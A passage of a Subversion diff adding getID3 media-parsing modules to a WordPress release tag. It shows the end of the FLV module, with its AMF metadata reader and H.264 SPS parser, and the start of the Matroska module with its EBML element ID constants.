+									$info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFFFF;
+									break;
+
+								case 2:
+									$info['video']['resolution_x'] = 352;
+									$info['video']['resolution_y'] = 288;
+									break;
+
+								case 3:
+									$info['video']['resolution_x'] = 176;
+									$info['video']['resolution_y'] = 144;
+									break;
+
+								case 4:
+									$info['video']['resolution_x'] = 128;
+									$info['video']['resolution_y'] = 96;
+									break;
+
+								case 5:
+									$info['video']['resolution_x'] = 320;
+									$info['video']['resolution_y'] = 240;
+									break;
+
+								case 6:
+									$info['video']['resolution_x'] = 160;
+									$info['video']['resolution_y'] = 120;
+									break;
+
+								default:
+									$info['video']['resolution_x'] = 0;
+									$info['video']['resolution_y'] = 0;
+									break;
+
+							}
+
+						} elseif ($info['flv']['video']['videoCodec'] ==  GETID3_FLV_VIDEO_VP6FLV_ALPHA) {
+
+							/* contributed by schouwerwouØgmail*com */
+							if (!isset($info['video']['resolution_x'])) { // only when meta data isn't set
+								$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2));
+								$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 7, 2));
+								$info['video']['resolution_x'] = ($PictureSizeEnc['x'] & 0xFF) << 3;
+								$info['video']['resolution_y'] = ($PictureSizeEnc['y'] & 0xFF) << 3;
+							}
+							/* end schouwerwouØgmail*com */
+
+						}
+						if (!empty($info['video']['resolution_x']) && !empty($info['video']['resolution_y'])) {
+							$info['video']['pixel_aspect_ratio'] = $info['video']['resolution_x'] / $info['video']['resolution_y'];
+						}
+					}
+					break;
+
+				// Meta tag
+				case GETID3_FLV_TAG_META:
+					if (!$found_meta) {
+						$found_meta = true;
+						$this->fseek(-1, SEEK_CUR);
+						$datachunk = $this->fread($DataLength);
+						$AMFstream = new AMFStream($datachunk);
+						$reader = new AMFReader($AMFstream);
+						$eventName = $reader->readData();
+						$info['flv']['meta'][$eventName] = $reader->readData();
+						unset($reader);
+
+						$copykeys = array('framerate'=>'frame_rate', 'width'=>'resolution_x', 'height'=>'resolution_y', 'audiodatarate'=>'bitrate', 'videodatarate'=>'bitrate');
+						foreach ($copykeys as $sourcekey => $destkey) {
+							if (isset($info['flv']['meta']['onMetaData'][$sourcekey])) {
+								switch ($sourcekey) {
+									case 'width':
+									case 'height':
+										$info['video'][$destkey] = intval(round($info['flv']['meta']['onMetaData'][$sourcekey]));
+										break;
+									case 'audiodatarate':
+										$info['audio'][$destkey] = getid3_lib::CastAsInt(round($info['flv']['meta']['onMetaData'][$sourcekey] * 1000));
+										break;
+									case 'videodatarate':
+									case 'frame_rate':
+									default:
+										$info['video'][$destkey] = $info['flv']['meta']['onMetaData'][$sourcekey];
+										break;
+								}
+							}
+						}
+						if (!empty($info['flv']['meta']['onMetaData']['duration'])) {
+							$found_valid_meta_playtime = true;
+						}
+					}
+					break;
+
+				default:
+					// noop
+					break;
+			}
+			$this->fseek($NextOffset);
+		}
+
+		$info['playtime_seconds'] = $Duration / 1000;
+		if ($info['playtime_seconds'] > 0) {
+			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
+		}
+
+		if ($info['flv']['header']['hasAudio']) {
+			$info['audio']['codec']           =   self::audioFormatLookup($info['flv']['audio']['audioFormat']);
+			$info['audio']['sample_rate']     =     self::audioRateLookup($info['flv']['audio']['audioRate']);
+			$info['audio']['bits_per_sample'] = self::audioBitDepthLookup($info['flv']['audio']['audioSampleSize']);
+
+			$info['audio']['channels']   =  $info['flv']['audio']['audioType'] + 1; // 0=mono,1=stereo
+			$info['audio']['lossless']   = ($info['flv']['audio']['audioFormat'] ? false : true); // 0=uncompressed
+			$info['audio']['dataformat'] = 'flv';
+		}
+		if (!empty($info['flv']['header']['hasVideo'])) {
+			$info['video']['codec']      = self::videoCodecLookup($info['flv']['video']['videoCodec']);
+			$info['video']['dataformat'] = 'flv';
+			$info['video']['lossless']   = false;
+		}
+
+		// Set information from meta
+		if (!empty($info['flv']['meta']['onMetaData']['duration'])) {
+			$info['playtime_seconds'] = $info['flv']['meta']['onMetaData']['duration'];
+			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
+		}
+		if (isset($info['flv']['meta']['onMetaData']['audiocodecid'])) {
+			$info['audio']['codec'] = self::audioFormatLookup($info['flv']['meta']['onMetaData']['audiocodecid']);
+		}
+		if (isset($info['flv']['meta']['onMetaData']['videocodecid'])) {
+			$info['video']['codec'] = self::videoCodecLookup($info['flv']['meta']['onMetaData']['videocodecid']);
+		}
+		return true;
+	}
+
+
+	public static function audioFormatLookup($id) {
+		static $lookup = array(
+			0  => 'Linear PCM, platform endian',
+			1  => 'ADPCM',
+			2  => 'mp3',
+			3  => 'Linear PCM, little endian',
+			4  => 'Nellymoser 16kHz mono',
+			5  => 'Nellymoser 8kHz mono',
+			6  => 'Nellymoser',
+			7  => 'G.711A-law logarithmic PCM',
+			8  => 'G.711 mu-law logarithmic PCM',
+			9  => 'reserved',
+			10 => 'AAC',
+			11 => 'Speex',
+			12 => false, // unknown?
+			13 => false, // unknown?
+			14 => 'mp3 8kHz',
+			15 => 'Device-specific sound',
+		);
+		return (isset($lookup[$id]) ? $lookup[$id] : false);
+	}
+
+	public static function audioRateLookup($id) {
+		static $lookup = array(
+			0 =>  5500,
+			1 => 11025,
+			2 => 22050,
+			3 => 44100,
+		);
+		return (isset($lookup[$id]) ? $lookup[$id] : false);
+	}
+
+	public static function audioBitDepthLookup($id) {
+		static $lookup = array(
+			0 =>  8,
+			1 => 16,
+		);
+		return (isset($lookup[$id]) ? $lookup[$id] : false);
+	}
+
+	public static function videoCodecLookup($id) {
+		static $lookup = array(
+			GETID3_FLV_VIDEO_H263         => 'Sorenson H.263',
+			GETID3_FLV_VIDEO_SCREEN       => 'Screen video',
+			GETID3_FLV_VIDEO_VP6FLV       => 'On2 VP6',
+			GETID3_FLV_VIDEO_VP6FLV_ALPHA => 'On2 VP6 with alpha channel',
+			GETID3_FLV_VIDEO_SCREENV2     => 'Screen video v2',
+			GETID3_FLV_VIDEO_H264         => 'Sorenson H.264',
+		);
+		return (isset($lookup[$id]) ? $lookup[$id] : false);
+	}
+}
+
+class AMFStream {
+	public $bytes;
+	public $pos;
+
+	public function __construct(&$bytes) {
+		$this->bytes =& $bytes;
+		$this->pos = 0;
+	}
+
+	public function readByte() {
+		return getid3_lib::BigEndian2Int(substr($this->bytes, $this->pos++, 1));
+	}
+
+	public function readInt() {
+		return ($this->readByte() << 8) + $this->readByte();
+	}
+
+	public function readLong() {
+		return ($this->readByte() << 24) + ($this->readByte() << 16) + ($this->readByte() << 8) + $this->readByte();
+	}
+
+	public function readDouble() {
+		return getid3_lib::BigEndian2Float($this->read(8));
+	}
+
+	public function readUTF() {
+		$length = $this->readInt();
+		return $this->read($length);
+	}
+
+	public function readLongUTF() {
+		$length = $this->readLong();
+		return $this->read($length);
+	}
+
+	public function read($length) {
+		$val = substr($this->bytes, $this->pos, $length);
+		$this->pos += $length;
+		return $val;
+	}
+
+	public function peekByte() {
+		$pos = $this->pos;
+		$val = $this->readByte();
+		$this->pos = $pos;
+		return $val;
+	}
+
+	public function peekInt() {
+		$pos = $this->pos;
+		$val = $this->readInt();
+		$this->pos = $pos;
+		return $val;
+	}
+
+	public function peekLong() {
+		$pos = $this->pos;
+		$val = $this->readLong();
+		$this->pos = $pos;
+		return $val;
+	}
+
+	public function peekDouble() {
+		$pos = $this->pos;
+		$val = $this->readDouble();
+		$this->pos = $pos;
+		return $val;
+	}
+
+	public function peekUTF() {
+		$pos = $this->pos;
+		$val = $this->readUTF();
+		$this->pos = $pos;
+		return $val;
+	}
+
+	public function peekLongUTF() {
+		$pos = $this->pos;
+		$val = $this->readLongUTF();
+		$this->pos = $pos;
+		return $val;
+	}
+}
+
+class AMFReader {
+	public $stream;
+
+	public function __construct(&$stream) {
+		$this->stream =& $stream;
+	}
+
+	public function readData() {
+		$value = null;
+
+		$type = $this->stream->readByte();
+		switch ($type) {
+
+			// Double
+			case 0:
+				$value = $this->readDouble();
+			break;
+
+			// Boolean
+			case 1:
+				$value = $this->readBoolean();
+				break;
+
+			// String
+			case 2:
+				$value = $this->readString();
+				break;
+
+			// Object
+			case 3:
+				$value = $this->readObject();
+				break;
+
+			// null
+			case 6:
+				return null;
+				break;
+
+			// Mixed array
+			case 8:
+				$value = $this->readMixedArray();
+				break;
+
+			// Array
+			case 10:
+				$value = $this->readArray();
+				break;
+
+			// Date
+			case 11:
+				$value = $this->readDate();
+				break;
+
+			// Long string
+			case 13:
+				$value = $this->readLongString();
+				break;
+
+			// XML (handled as string)
+			case 15:
+				$value = $this->readXML();
+				break;
+
+			// Typed object (handled as object)
+			case 16:
+				$value = $this->readTypedObject();
+				break;
+
+			// Long string
+			default:
+				$value = '(unknown or unsupported data type)';
+			break;
+		}
+
+		return $value;
+	}
+
+	public function readDouble() {
+		return $this->stream->readDouble();
+	}
+
+	public function readBoolean() {
+		return $this->stream->readByte() == 1;
+	}
+
+	public function readString() {
+		return $this->stream->readUTF();
+	}
+
+	public function readObject() {
+		// Get highest numerical index - ignored
+//		$highestIndex = $this->stream->readLong();
+
+		$data = array();
+
+		while ($key = $this->stream->readUTF()) {
+			$data[$key] = $this->readData();
+		}
+		// Mixed array record ends with empty string (0x00 0x00) and 0x09
+		if (($key == '') && ($this->stream->peekByte() == 0x09)) {
+			// Consume byte
+			$this->stream->readByte();
+		}
+		return $data;
+	}
+
+	public function readMixedArray() {
+		// Get highest numerical index - ignored
+		$highestIndex = $this->stream->readLong();
+
+		$data = array();
+
+		while ($key = $this->stream->readUTF()) {
+			if (is_numeric($key)) {
+				$key = (float) $key;
+			}
+			$data[$key] = $this->readData();
+		}
+		// Mixed array record ends with empty string (0x00 0x00) and 0x09
+		if (($key == '') && ($this->stream->peekByte() == 0x09)) {
+			// Consume byte
+			$this->stream->readByte();
+		}
+
+		return $data;
+	}
+
+	public function readArray() {
+		$length = $this->stream->readLong();
+		$data = array();
+
+		for ($i = 0; $i < $length; $i++) {
+			$data[] = $this->readData();
+		}
+		return $data;
+	}
+
+	public function readDate() {
+		$timestamp = $this->stream->readDouble();
+		$timezone = $this->stream->readInt();
+		return $timestamp;
+	}
+
+	public function readLongString() {
+		return $this->stream->readLongUTF();
+	}
+
+	public function readXML() {
+		return $this->stream->readLongUTF();
+	}
+
+	public function readTypedObject() {
+		$className = $this->stream->readUTF();
+		return $this->readObject();
+	}
+}
+
+class AVCSequenceParameterSetReader {
+	public $sps;
+	public $start = 0;
+	public $currentBytes = 0;
+	public $currentBits = 0;
+	public $width;
+	public $height;
+
+	public function __construct($sps) {
+		$this->sps = $sps;
+	}
+
+	public function readData() {
+		$this->skipBits(8);
+		$this->skipBits(8);
+		$profile = $this->getBits(8);                               // read profile
+		if ($profile > 0) {
+			$this->skipBits(8);
+			$level_idc = $this->getBits(8);                         // level_idc
+			$this->expGolombUe();                                   // seq_parameter_set_id // sps
+			$this->expGolombUe();                                   // log2_max_frame_num_minus4
+			$picOrderType = $this->expGolombUe();                   // pic_order_cnt_type
+			if ($picOrderType == 0) {
+				$this->expGolombUe();                               // log2_max_pic_order_cnt_lsb_minus4
+			} elseif ($picOrderType == 1) {
+				$this->skipBits(1);                                 // delta_pic_order_always_zero_flag
+				$this->expGolombSe();                               // offset_for_non_ref_pic
+				$this->expGolombSe();                               // offset_for_top_to_bottom_field
+				$num_ref_frames_in_pic_order_cnt_cycle = $this->expGolombUe(); // num_ref_frames_in_pic_order_cnt_cycle
+				for ($i = 0; $i < $num_ref_frames_in_pic_order_cnt_cycle; $i++) {
+					$this->expGolombSe();                           // offset_for_ref_frame[ i ]
+				}
+			}
+			$this->expGolombUe();                                   // num_ref_frames
+			$this->skipBits(1);                                     // gaps_in_frame_num_value_allowed_flag
+			$pic_width_in_mbs_minus1 = $this->expGolombUe();        // pic_width_in_mbs_minus1
+			$pic_height_in_map_units_minus1 = $this->expGolombUe(); // pic_height_in_map_units_minus1
+
+			$frame_mbs_only_flag = $this->getBits(1);               // frame_mbs_only_flag
+			if ($frame_mbs_only_flag == 0) {
+				$this->skipBits(1);                                 // mb_adaptive_frame_field_flag
+			}
+			$this->skipBits(1);                                     // direct_8x8_inference_flag
+			$frame_cropping_flag = $this->getBits(1);               // frame_cropping_flag
+
+			$frame_crop_left_offset   = 0;
+			$frame_crop_right_offset  = 0;
+			$frame_crop_top_offset    = 0;
+			$frame_crop_bottom_offset = 0;
+
+			if ($frame_cropping_flag) {
+				$frame_crop_left_offset   = $this->expGolombUe();   // frame_crop_left_offset
+				$frame_crop_right_offset  = $this->expGolombUe();   // frame_crop_right_offset
+				$frame_crop_top_offset    = $this->expGolombUe();   // frame_crop_top_offset
+				$frame_crop_bottom_offset = $this->expGolombUe();   // frame_crop_bottom_offset
+			}
+			$this->skipBits(1);                                     // vui_parameters_present_flag
+			// etc
+
+			$this->width  = (($pic_width_in_mbs_minus1 + 1) * 16) - ($frame_crop_left_offset * 2) - ($frame_crop_right_offset * 2);
+			$this->height = ((2 - $frame_mbs_only_flag) * ($pic_height_in_map_units_minus1 + 1) * 16) - ($frame_crop_top_offset * 2) - ($frame_crop_bottom_offset * 2);
+		}
+	}
+
+	public function skipBits($bits) {
+		$newBits = $this->currentBits + $bits;
+		$this->currentBytes += (int)floor($newBits / 8);
+		$this->currentBits = $newBits % 8;
+	}
+
+	public function getBit() {
+		$result = (getid3_lib::BigEndian2Int(substr($this->sps, $this->currentBytes, 1)) >> (7 - $this->currentBits)) & 0x01;
+		$this->skipBits(1);
+		return $result;
+	}
+
+	public function getBits($bits) {
+		$result = 0;
+		for ($i = 0; $i < $bits; $i++) {
+			$result = ($result << 1) + $this->getBit();
+		}
+		return $result;
+	}
+
+	public function expGolombUe() {
+		$significantBits = 0;
+		$bit = $this->getBit();
+		while ($bit == 0) {
+			$significantBits++;
+			$bit = $this->getBit();
+
+			if ($significantBits > 31) {
+				// something is broken, this is an emergency escape to prevent infinite loops
+				return 0;
+			}
+		}
+		return (1 << $significantBits) + $this->getBits($significantBits) - 1;
+	}
+
+	public function expGolombSe() {
+		$result = $this->expGolombUe();
+		if (($result & 0x01) == 0) {
+			return -($result >> 1);
+		} else {
+			return ($result + 1) >> 1;
+		}
+	}
+
+	public function getWidth() {
+		return $this->width;
+	}
+
+	public function getHeight() {
+		return $this->height;
+	}
+}
Index: /tags/4.1.6/src/wp-includes/ID3/module.audio-video.matroska.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/module.audio-video.matroska.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/module.audio-video.matroska.php	(revision 33402)
@@ -0,0 +1,1751 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio-video.matriska.php                             //
+// module for analyzing Matroska containers                    //
+// dependencies: NONE                                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+
+define('EBML_ID_CHAPTERS',                  0x0043A770); // [10][43][A7][70] -- A system to define basic menus and partition data. For more detailed information, look at the Chapters Explanation.
+define('EBML_ID_SEEKHEAD',                  0x014D9B74); // [11][4D][9B][74] -- Contains the position of other level 1 elements.
+define('EBML_ID_TAGS',                      0x0254C367); // [12][54][C3][67] -- Element containing elements specific to Tracks/Chapters. A list of valid tags can be found <http://www.matroska.org/technical/specs/tagging/index.html>.
+define('EBML_ID_INFO',                      0x0549A966); // [15][49][A9][66] -- Contains miscellaneous general information and statistics on the file.
+define('EBML_ID_TRACKS',                    0x0654AE6B); // [16][54][AE][6B] -- A top-level block of information with many tracks described.
+define('EBML_ID_SEGMENT',                   0x08538067); // [18][53][80][67] -- This element contains all other top-level (level 1) elements. Typically a Matroska file is composed of 1 segment.
+define('EBML_ID_ATTACHMENTS',               0x0941A469); // [19][41][A4][69] -- Contain attached files.
+define('EBML_ID_EBML',                      0x0A45DFA3); // [1A][45][DF][A3] -- Set the EBML characteristics of the data to follow. Each EBML document has to start with this.
+define('EBML_ID_CUES',                      0x0C53BB6B); // [1C][53][BB][6B] -- A top-level element to speed seeking access. All entries are local to the segment.
+define('EBML_ID_CLUSTER',                   0x0F43B675); // [1F][43][B6][75] -- The lower level element containing the (monolithic) Block structure.
+define('EBML_ID_LANGUAGE',                    0x02B59C); //     [22][B5][9C] -- Specifies the language of the track in the Matroska languages form.
+define('EBML_ID_TRACKTIMECODESCALE',          0x03314F); //     [23][31][4F] -- The scale to apply on this track to work at normal speed in relation with other tracks (mostly used to adjust video speed when the audio length differs).
+define('EBML_ID_DEFAULTDURATION',             0x03E383); //     [23][E3][83] -- Number of nanoseconds (i.e. not scaled) per frame.
+define('EBML_ID_CODECNAME',                   0x058688); //     [25][86][88] -- A human-readable string specifying the codec.
+define('EBML_ID_CODECDOWNLOADURL',            0x06B240); //     [26][B2][40] -- A URL to download about the codec used.
+define('EBML_ID_TIMECODESCALE',               0x0AD7B1); //     [2A][D7][B1] -- Timecode scale in nanoseconds (1.000.000 means all timecodes in the segment are expressed in milliseconds).
+define('EBML_ID_COLOURSPACE',                 0x0EB524); //     [2E][B5][24] -- Same value as in AVI (32 bits).
+define('EBML_ID_GAMMAVALUE',                  0x0FB523); //     [2F][B5][23] -- Gamma Value.
+define('EBML_ID_CODECSETTINGS',               0x1A9697); //     [3A][96][97] -- A string describing the encoding setting used.
+define('EBML_ID_CODECINFOURL',                0x1B4040); //     [3B][40][40] -- A URL to find information about the codec used.
+define('EBML_ID_PREVFILENAME',                0x1C83AB); //     [3C][83][AB] -- An escaped filename corresponding to the previous segment.
+define('EBML_ID_PREVUID',                     0x1CB923); //     [3C][B9][23] -- A unique ID to identify the previous chained segment (128 bits).
+define('EBML_ID_NEXTFILENAME',                0x1E83BB); //     [3E][83][BB] -- An escaped filename corresponding to the next segment.
+define('EBML_ID_NEXTUID',                     0x1EB923); //     [3E][B9][23] -- A unique ID to identify the next chained segment (128 bits).
+define('EBML_ID_CONTENTCOMPALGO',               0x0254); //         [42][54] -- The compression algorithm used. Algorithms that have been specified so far are:
+define('EBML_ID_CONTENTCOMPSETTINGS',           0x0255); //         [42][55] -- Settings that might be needed by the decompressor. For Header Stripping (ContentCompAlgo=3), the bytes that were removed from the beggining of each frames of the track.
+define('EBML_ID_DOCTYPE',                       0x0282); //         [42][82] -- A string that describes the type of document that follows this EBML header ('matroska' in our case).
+define('EBML_ID_DOCTYPEREADVERSION',            0x0285); //         [42][85] -- The minimum DocType version an interpreter has to support to read this file.
+define('EBML_ID_EBMLVERSION',                   0x0286); //         [42][86] -- The version of EBML parser used to create the file.
+define('EBML_ID_DOCTYPEVERSION',                0x0287); //         [42][87] -- The version of DocType interpreter used to create the file.
+define('EBML_ID_EBMLMAXIDLENGTH',               0x02F2); //         [42][F2] -- The maximum length of the IDs you'll find in this file (4 or less in Matroska).
+define('EBML_ID_EBMLMAXSIZELENGTH',             0x02F3); //         [42][F3] -- The maximum length of the sizes you'll find in this file (8 or less in Matroska). This does not override the element size indicated at the beginning of an element. Elements that have an indicated size which is larger than what is allowed by EBMLMaxSizeLength shall be considered invalid.
+define('EBML_ID_EBMLREADVERSION',               0x02F7); //         [42][F7] -- The minimum EBML version a parser has to support to read this file.
+define('EBML_ID_CHAPLANGUAGE',                  0x037C); //         [43][7C] -- The languages corresponding to the string, in the bibliographic ISO-639-2 form.
+define('EBML_ID_CHAPCOUNTRY',                   0x037E); //         [43][7E] -- The countries corresponding to the string, same 2 octets as in Internet domains.
+define('EBML_ID_SEGMENTFAMILY',                 0x0444); //         [44][44] -- A randomly generated unique ID that all segments related to each other must use (128 bits).
+define('EBML_ID_DATEUTC',                       0x0461); //         [44][61] -- Date of the origin of timecode (value 0), i.e. production date.
+define('EBML_ID_TAGLANGUAGE',                   0x047A); //         [44][7A] -- Specifies the language of the tag specified, in the Matroska languages form.
+define('EBML_ID_TAGDEFAULT',                    0x0484); //         [44][84] -- Indication to know if this is the default/original language to use for the given tag.
+define('EBML_ID_TAGBINARY',                     0x0485); //         [44][85] -- The values of the Tag if it is binary. Note that this cannot be used in the same SimpleTag as TagString.
+define('EBML_ID_TAGSTRING',                     0x0487); //         [44][87] -- The value of the Tag.
+define('EBML_ID_DURATION',                      0x0489); //         [44][89] -- Duration of the segment (based on TimecodeScale).
+define('EBML_ID_CHAPPROCESSPRIVATE',            0x050D); //         [45][0D] -- Some optional data attached to the ChapProcessCodecID information. For ChapProcessCodecID = 1, it is the "DVD level" equivalent.
+define('EBML_ID_CHAPTERFLAGENABLED',            0x0598); //         [45][98] -- Specify wether the chapter is enabled. It can be enabled/disabled by a Control Track. When disabled, the movie should skip all the content between the TimeStart and TimeEnd of this chapter.
+define('EBML_ID_TAGNAME',                       0x05A3); //         [45][A3] -- The name of the Tag that is going to be stored.
+define('EBML_ID_EDITIONENTRY',                  0x05B9); //         [45][B9] -- Contains all information about a segment edition.
+define('EBML_ID_EDITIONUID',                    0x05BC); //         [45][BC] -- A unique ID to identify the edition. It's useful for tagging an edition.
+define('EBML_ID_EDITIONFLAGHIDDEN',             0x05BD); //         [45][BD] -- If an edition is hidden (1), it should not be available to the user interface (but still to Control Tracks).
+define('EBML_ID_EDITIONFLAGDEFAULT',            0x05DB); //         [45][DB] -- If a flag is set (1) the edition should be used as the default one.
+define('EBML_ID_EDITIONFLAGORDERED',            0x05DD); //         [45][DD] -- Specify if the chapters can be defined multiple times and the order to play them is enforced.
+define('EBML_ID_FILEDATA',                      0x065C); //         [46][5C] -- The data of the file.
+define('EBML_ID_FILEMIMETYPE',                  0x0660); //         [46][60] -- MIME type of the file.
+define('EBML_ID_FILENAME',                      0x066E); //         [46][6E] -- Filename of the attached file.
+define('EBML_ID_FILEREFERRAL',                  0x0675); //         [46][75] -- A binary value that a track/codec can refer to when the attachment is needed.
+define('EBML_ID_FILEDESCRIPTION',               0x067E); //         [46][7E] -- A human-friendly name for the attached file.
+define('EBML_ID_FILEUID',                       0x06AE); //         [46][AE] -- Unique ID representing the file, as random as possible.
+define('EBML_ID_CONTENTENCALGO',                0x07E1); //         [47][E1] -- The encryption algorithm used. The value '0' means that the contents have not been encrypted but only signed. Predefined values:
+define('EBML_ID_CONTENTENCKEYID',               0x07E2); //         [47][E2] -- For public key algorithms this is the ID of the public key the the data was encrypted with.
+define('EBML_ID_CONTENTSIGNATURE',              0x07E3); //         [47][E3] -- A cryptographic signature of the contents.
+define('EBML_ID_CONTENTSIGKEYID',               0x07E4); //         [47][E4] -- This is the ID of the private key the data was signed with.
+define('EBML_ID_CONTENTSIGALGO',                0x07E5); //         [47][E5] -- The algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values:
+define('EBML_ID_CONTENTSIGHASHALGO',            0x07E6); //         [47][E6] -- The hash algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values:
+define('EBML_ID_MUXINGAPP',                     0x0D80); //         [4D][80] -- Muxing application or library ("libmatroska-0.4.3").
+define('EBML_ID_SEEK',                          0x0DBB); //         [4D][BB] -- Contains a single seek entry to an EBML element.
+define('EBML_ID_CONTENTENCODINGORDER',          0x1031); //         [50][31] -- Tells when this modification was used during encoding/muxing starting with 0 and counting upwards. The decoder/demuxer has to start with the highest order number it finds and work its way down. This value has to be unique over all ContentEncodingOrder elements in the segment.
+define('EBML_ID_CONTENTENCODINGSCOPE',          0x1032); //         [50][32] -- A bit field that describes which elements have been modified in this way. Values (big endian) can be OR'ed. Possible values:
+define('EBML_ID_CONTENTENCODINGTYPE',           0x1033); //         [50][33] -- A value describing what kind of transformation has been done. Possible values:
+define('EBML_ID_CONTENTCOMPRESSION',            0x1034); //         [50][34] -- Settings describing the compression used. Must be present if the value of ContentEncodingType is 0 and absent otherwise. Each block must be decompressable even if no previous block is available in order not to prevent seeking.
+define('EBML_ID_CONTENTENCRYPTION',             0x1035); //         [50][35] -- Settings describing the encryption used. Must be present if the value of ContentEncodingType is 1 and absent otherwise.
+define('EBML_ID_CUEREFNUMBER',                  0x135F); //         [53][5F] -- Number of the referenced Block of Track X in the specified Cluster.
+define('EBML_ID_NAME',                          0x136E); //         [53][6E] -- A human-readable track name.
+define('EBML_ID_CUEBLOCKNUMBER',                0x1378); //         [53][78] -- Number of the Block in the specified Cluster.
+define('EBML_ID_TRACKOFFSET',                   0x137F); //         [53][7F] -- A value to add to the Block's Timecode. This can be used to adjust the playback offset of a track.
+define('EBML_ID_SEEKID',                        0x13AB); //         [53][AB] -- The binary ID corresponding to the element name.
+define('EBML_ID_SEEKPOSITION',                  0x13AC); //         [53][AC] -- The position of the element in the segment in octets (0 = first level 1 element).
+define('EBML_ID_STEREOMODE',                    0x13B8); //         [53][B8] -- Stereo-3D video mode.
+define('EBML_ID_OLDSTEREOMODE',                 0x13B9); //         [53][B9] -- Bogus StereoMode value used in old versions of libmatroska. DO NOT USE. (0: mono, 1: right eye, 2: left eye, 3: both eyes).
+define('EBML_ID_PIXELCROPBOTTOM',               0x14AA); //         [54][AA] -- The number of video pixels to remove at the bottom of the image (for HDTV content).
+define('EBML_ID_DISPLAYWIDTH',                  0x14B0); //         [54][B0] -- Width of the video frames to display.
+define('EBML_ID_DISPLAYUNIT',                   0x14B2); //         [54][B2] -- Type of the unit for DisplayWidth/Height (0: pixels, 1: centimeters, 2: inches).
+define('EBML_ID_ASPECTRATIOTYPE',               0x14B3); //         [54][B3] -- Specify the possible modifications to the aspect ratio (0: free resizing, 1: keep aspect ratio, 2: fixed).
+define('EBML_ID_DISPLAYHEIGHT',                 0x14BA); //         [54][BA] -- Height of the video frames to display.
+define('EBML_ID_PIXELCROPTOP',                  0x14BB); //         [54][BB] -- The number of video pixels to remove at the top of the image.
+define('EBML_ID_PIXELCROPLEFT',                 0x14CC); //         [54][CC] -- The number of video pixels to remove on the left of the image.
+define('EBML_ID_PIXELCROPRIGHT',                0x14DD); //         [54][DD] -- The number of video pixels to remove on the right of the image.
+define('EBML_ID_FLAGFORCED',                    0x15AA); //         [55][AA] -- Set if that track MUST be used during playback. There can be many forced track for a kind (audio, video or subs), the player should select the one which language matches the user preference or the default + forced track. Overlay MAY happen between a forced and non-forced track of the same kind.
+define('EBML_ID_MAXBLOCKADDITIONID',            0x15EE); //         [55][EE] -- The maximum value of BlockAddID. A value 0 means there is no BlockAdditions for this track.
+define('EBML_ID_WRITINGAPP',                    0x1741); //         [57][41] -- Writing application ("mkvmerge-0.3.3").
+define('EBML_ID_CLUSTERSILENTTRACKS',           0x1854); //         [58][54] -- The list of tracks that are not used in that part of the stream. It is useful when using overlay tracks on seeking. Then you should decide what track to use.
+define('EBML_ID_CLUSTERSILENTTRACKNUMBER',      0x18D7); //         [58][D7] -- One of the track number that are not used from now on in the stream. It could change later if not specified as silent in a further Cluster.
+define('EBML_ID_ATTACHEDFILE',                  0x21A7); //         [61][A7] -- An attached file.
+define('EBML_ID_CONTENTENCODING',               0x2240); //         [62][40] -- Settings for one content encoding like compression or encryption.
+define('EBML_ID_BITDEPTH',                      0x2264); //         [62][64] -- Bits per sample, mostly used for PCM.
+define('EBML_ID_CODECPRIVATE',                  0x23A2); //         [63][A2] -- Private data only known to the codec.
+define('EBML_ID_TARGETS',                       0x23C0); //         [63][C0] -- Contain all UIDs where the specified meta data apply. It is void to describe everything in the segment.
+define('EBML_ID_CHAPTERPHYSICALEQUIV',          0x23C3); //         [63][C3] -- Specify the physical equivalent of this ChapterAtom like "DVD" (60) or "SIDE" (50), see complete list of values.
+define('EBML_ID_TAGCHAPTERUID',                 0x23C4); //         [63][C4] -- A unique ID to identify the Chapter(s) the tags belong to. If the value is 0 at this level, the tags apply to all chapters in the Segment.
+define('EBML_ID_TAGTRACKUID',                   0x23C5); //         [63][C5] -- A unique ID to identify the Track(s) the tags belong to. If the value is 0 at this level, the tags apply to all tracks in the Segment.
+define('EBML_ID_TAGATTACHMENTUID',              0x23C6); //         [63][C6] -- A unique ID to identify the Attachment(s) the tags belong to. If the value is 0 at this level, the tags apply to all the attachments in the Segment.
+define('EBML_ID_TAGEDITIONUID',                 0x23C9); //         [63][C9] -- A unique ID to identify the EditionEntry(s) the tags belong to. If the value is 0 at this level, the tags apply to all editions in the Segment.
+define('EBML_ID_TARGETTYPE',                    0x23CA); //         [63][CA] -- An informational string that can be used to display the logical level of the target like "ALBUM", "TRACK", "MOVIE", "CHAPTER", etc (see TargetType).
+define('EBML_ID_TRACKTRANSLATE',                0x2624); //         [66][24] -- The track identification for the given Chapter Codec.
+define('EBML_ID_TRACKTRANSLATETRACKID',         0x26A5); //         [66][A5] -- The binary value used to represent this track in the chapter codec data. The format depends on the ChapProcessCodecID used.
+define('EBML_ID_TRACKTRANSLATECODEC',           0x26BF); //         [66][BF] -- The chapter codec using this ID (0: Matroska Script, 1: DVD-menu).
+define('EBML_ID_TRACKTRANSLATEEDITIONUID',      0x26FC); //         [66][FC] -- Specify an edition UID on which this translation applies. When not specified, it means for all editions found in the segment.
+define('EBML_ID_SIMPLETAG',                     0x27C8); //         [67][C8] -- Contains general information about the target.
+define('EBML_ID_TARGETTYPEVALUE',               0x28CA); //         [68][CA] -- A number to indicate the logical level of the target (see TargetType).
+define('EBML_ID_CHAPPROCESSCOMMAND',            0x2911); //         [69][11] -- Contains all the commands associated to the Atom.
+define('EBML_ID_CHAPPROCESSTIME',               0x2922); //         [69][22] -- Defines when the process command should be handled (0: during the whole chapter, 1: before starting playback, 2: after playback of the chapter).
